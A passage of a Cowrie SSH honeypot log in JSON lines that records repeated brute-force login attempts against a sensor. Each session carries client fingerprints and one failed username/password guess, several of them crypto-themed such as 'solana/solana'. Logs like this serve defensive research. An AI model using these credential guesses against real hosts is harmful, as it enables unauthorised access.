{"eventid":"cowrie.session.connect","src_ip":"27.111.32.174","src_port":47578,"dst_ip":"159.203.135.109","dst_port":22,"session":"a5349f20405d","protocol":"ssh","message":"New connection: 27.111.32.174:47578 (159.203.135.109:22) [session: a5349f20405d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:49:25.425895Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:49:25.431201Z","src_ip":"27.111.32.174","session":"a5349f20405d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:49:25.679991Z","src_ip":"27.111.32.174","session":"a5349f20405d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"scraper","password":"123456","message":"login attempt [scraper/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:49:26.703687Z","src_ip":"27.111.32.174","session":"a5349f20405d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:49:27.954307Z","src_ip":"27.111.32.174","session":"a5349f20405d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":47756,"dst_ip":"159.203.135.109","dst_port":22,"session":"fbe2a25ec912","protocol":"ssh","message":"New connection: 193.32.162.145:47756 (159.203.135.109:22) [session: fbe2a25ec912]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:49:34.679835Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:49:34.684418Z","src_ip":"193.32.162.145","session":"fbe2a25ec912","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:49:34.783666Z","src_ip":"193.32.162.145","session":"fbe2a25ec912","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"qwerty1234","message":"login attempt [sol/qwerty1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:49:35.087188Z","src_ip":"193.32.162.145","session":"fbe2a25ec912","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:49:36.196047Z","src_ip":"193.32.162.145","session":"fbe2a25ec912","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.99.195.230","src_port":52582,"dst_ip":"159.203.135.109","dst_port":22,"session":"607821e1a622","protocol":"ssh","message":"New connection: 92.99.195.230:52582 (159.203.135.109:22) [session: 607821e1a622]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:49:57.814584Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:49:57.818742Z","src_ip":"92.99.195.230","session":"607821e1a622","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:49:58.013641Z","src_ip":"92.99.195.230","session":"607821e1a622","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"assistant","password":"123","message":"login attempt [assistant/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:49:58.829455Z","src_ip":"92.99.195.230","session":"607821e1a622","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:50:00.026548Z","src_ip":"92.99.195.230","session":"607821e1a622","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":59056,"dst_ip":"159.203.135.109","dst_port":22,"session":"ba52301787a9","protocol":"ssh","message":"New connection: 195.178.110.218:59056 (159.203.135.109:22) [session: ba52301787a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:50:21.240304Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:50:21.244872Z","src_ip":"195.178.110.218","session":"ba52301787a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:50:21.324684Z","src_ip":"195.178.110.218","session":"ba52301787a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:50:21.563382Z","src_ip":"195.178.110.218","session":"ba52301787a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:50:22.644617Z","src_ip":"195.178.110.218","session":"ba52301787a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":58310,"dst_ip":"159.203.135.109","dst_port":22,"session":"09ff4f28bdb7","protocol":"ssh","message":"New connection: 2.57.122.96:58310 (159.203.135.109:22) [session: 09ff4f28bdb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:51:05.350180Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:51:05.398383Z","src_ip":"2.57.122.96","session":"09ff4f28bdb7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:51:05.484222Z","src_ip":"2.57.122.96","session":"09ff4f28bdb7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uniswap","password":"uniswap","message":"login attempt [uniswap/uniswap] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:51:06.110626Z","src_ip":"2.57.122.96","session":"09ff4f28bdb7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:51:07.271869Z","src_ip":"2.57.122.96","session":"09ff4f28bdb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.111.32.174","src_port":39802,"dst_ip":"159.203.135.109","dst_port":22,"session":"a0f725283ad2","protocol":"ssh","message":"New connection: 27.111.32.174:39802 (159.203.135.109:22) [session: a0f725283ad2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:51:22.651778Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:51:22.656374Z","src_ip":"27.111.32.174","session":"a0f725283ad2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:51:22.904871Z","src_ip":"27.111.32.174","session":"a0f725283ad2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nikhil","password":"1234","message":"login attempt [nikhil/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:51:23.937016Z","src_ip":"27.111.32.174","session":"a0f725283ad2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:51:25.188929Z","src_ip":"27.111.32.174","session":"a0f725283ad2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":38796,"dst_ip":"159.203.135.109","dst_port":22,"session":"badebcc02c9b","protocol":"ssh","message":"New connection: 193.32.162.145:38796 (159.203.135.109:22) [session: badebcc02c9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:51:44.041428Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:51:44.079165Z","src_ip":"193.32.162.145","session":"badebcc02c9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:51:44.149060Z","src_ip":"193.32.162.145","session":"badebcc02c9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"ssolana","message":"login attempt [sol/ssolana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:51:44.564360Z","src_ip":"193.32.162.145","session":"badebcc02c9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:51:45.668866Z","src_ip":"193.32.162.145","session":"badebcc02c9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.99.195.230","src_port":48266,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c69649f9367","protocol":"ssh","message":"New connection: 92.99.195.230:48266 (159.203.135.109:22) [session: 6c69649f9367]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:52:03.854161Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:52:03.857728Z","src_ip":"92.99.195.230","session":"6c69649f9367","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:52:04.056299Z","src_ip":"92.99.195.230","session":"6c69649f9367","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alpha","password":"12345678","message":"login attempt [alpha/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:52:04.890085Z","src_ip":"92.99.195.230","session":"6c69649f9367","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:52:06.091011Z","src_ip":"92.99.195.230","session":"6c69649f9367","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.85.8","src_port":59562,"dst_ip":"159.203.135.109","dst_port":22,"session":"516bd1d3631d","protocol":"ssh","message":"New connection: 144.91.85.8:59562 (159.203.135.109:22) [session: 516bd1d3631d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:52:19.659716Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:52:19.664298Z","src_ip":"144.91.85.8","session":"516bd1d3631d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 